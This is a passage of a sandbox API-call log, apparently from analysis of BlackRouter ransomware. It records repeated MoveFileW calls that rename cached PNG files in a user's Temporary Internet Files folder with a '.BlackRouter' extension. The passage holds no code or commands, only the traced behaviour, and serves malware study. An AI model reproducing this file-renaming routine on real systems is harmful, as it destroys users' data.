HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA3e1oO[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa3e1oo[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA3e1oO[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa3e1oo[1].png.blackrouter")) returned 1 [0064.812] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x265 [0064.821] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA429NP[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa429np[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x459d37f0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x459d37f0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcd255690, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x270)) returned 1 [0064.821] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA429NP[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa429np[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA429NP[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa429np[1].png.blackrouter")) returned 1 [0064.822] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x252 [0064.841] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA42pjY[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa42pjy[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x530d5e50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x530d5e50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcd2a1950, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x260)) returned 1 [0064.842] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA42pjY[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa42pjy[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA42pjY[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa42pjy[1].png.blackrouter")) returned 1 [0064.844] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x248 [0064.986] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA61AKN[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa61akn[2].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe327870, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe327870, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xcd3f85b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x250)) returned 1 [0064.986] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA61AKN[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa61akn[2].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA61AKN[2].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa61akn[2].png.blackrouter")) returned 1 [0064.989] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x21b [0064.999] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA6KizP[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa6kizp[2].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45b042f0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45b042f0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcd41e710, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x220)) returned 1 [0064.999] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA6KizP[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa6kizp[2].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA6KizP[2].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa6kizp[2].png.blackrouter")) returned 1 [0065.001] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x27b [0065.011] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA7XCQ3[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa7xcq3[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x457e4610, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x457e4610, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcd444870, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x280)) returned 1 [0065.011] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA7XCQ3[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa7xcq3[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA7XCQ3[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa7xcq3[1].png.blackrouter")) returned 1 [0065.012] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x268 [0065.021] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA8Tave[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa8tave[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45510bf0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45510bf0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcd444870, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x270)) returned 1 [0065.021] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA8Tave[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa8tave[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA8Tave[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa8tave[1].png.blackrouter")) returned 1 [0065.022] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x21e [0065.032] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAfOIDq[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aafoidq[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe399c90, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe399c90, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xcd46a9d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x220)) returned 1 [0065.033] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAfOIDq[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aafoidq[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAfOIDq[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aafoidq[1].png.blackrouter")) returned 1 [0065.034] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2e3 [0065.039] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAkhMz9[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aakhmz9[2].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45b042f0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45b042f0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcd46a9d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2f0)) returned 1 [0065.039] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAkhMz9[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aakhmz9[2].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAkhMz9[2].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aakhmz9[2].png.blackrouter")) returned 1 [0065.040] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x12c [0065.050] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAmRY2Q[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aamry2q[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53194530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53194530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcd490b30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x130)) returned 1 [0065.050] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAmRY2Q[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aamry2q[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAmRY2Q[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aamry2q[1].png.blackrouter")) returned 1 [0065.051] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x391 [0065.060] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAni8qk[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aani8qk[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45915110, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45915110, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcd4b6c90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3a0)) returned 1 [0065.060] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAni8qk[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aani8qk[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAni8qk[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aani8qk[1].png.blackrouter")) returned 1 [0065.061] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1aa [0065.073] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BB8jcOr[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bb8jcor[2].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x459613d0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x459613d0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcd4b6c90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1b0)) returned 1 [0065.073] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BB8jcOr[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bb8jcor[2].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BB8jcOr[2].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bb8jcor[2].png.blackrouter")) returned 1 [0065.074] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x234 [0065.086] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBB9wH0[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbb9wh0[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45a1fab0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45a1fab0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcd4dcdf0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x240)) returned 1 [0065.086] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBB9wH0[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbb9wh0[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBB9wH0[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbb9wh0[1].png.blackrouter")) returned 1 [0065.087] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x21feb [0065.105] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPS37[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbps37[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x530d5e50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x530d5e50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcd5290b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x21ff0)) returned 1 [0065.105] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPS37[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbps37[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPS37[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbps37[1].png.blackrouter")) returned 1 [0065.107] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x3faf [0065.121] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEe4Oo[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbee4oo[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4587cb90, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x4587cb90, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcd54f210, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3fb0)) returned 1 [0065.121] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEe4Oo[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbee4oo[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEe4Oo[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbee4oo[1].png.blackrouter")) returned 1 [0065.122] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1dc [0065.134] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBghfVy[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbghfvy[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe4ca790, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe4ca790, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xcd54f210, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1e0)) returned 1 [0065.134] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBghfVy[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbghfvy[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBghfVy[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbghfvy[1].png.blackrouter")) returned 1 [0065.135] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1af [0065.141] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBkwUr[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbkwur[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45725f30, ftCreationTime.dwHighDateTime=0x1d2faf3, 